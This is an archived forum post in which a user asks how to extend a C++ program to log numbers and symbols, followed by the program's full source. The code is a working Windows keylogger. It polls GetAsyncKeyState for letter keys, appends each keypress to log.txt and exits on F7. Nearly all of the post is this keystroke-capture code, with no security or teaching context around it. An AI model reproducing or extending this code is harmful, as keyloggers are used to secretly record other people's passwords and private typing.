can help me?
How can i create it to not show only letter but numbers and symbol too.?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
|
#include<iostream>
#include "windows.h"
#include <fstream>
using namespace std;
int main()
{
ofstream file;
const int numkeys=26;
const int i_slp=10;
bool pressed_last[numkeys],pressed_now[numkeys],
exit=0;
for(int i=0;i<numkeys;i++)
{
pressed_last[i]=0;
pressed_now[i]=0;
}
while(!exit)
{
for(int i='A';i<='Z';i++)
{
pressed_now[i-'A']=GetAsyncKeyState(i)!=0 ? 1:0;
}
for(int i=0;i<numkeys;i++)
{
if(pressed_now[i]&&!pressed_last[i])
{
file.open("log.txt",ios::app);
file<<char(i+'A');
file.close();
cout<<char(i+'A');
}
}
for(int i=0;i<numkeys;i++)
{
pressed_last[i]=pressed_now[i];
exit=GetAsyncKeyState(118)!=0 ? 1:0;
Sleep(i_slp);
}
}
return 0;
}
|
Topic archived. No new replies allowed.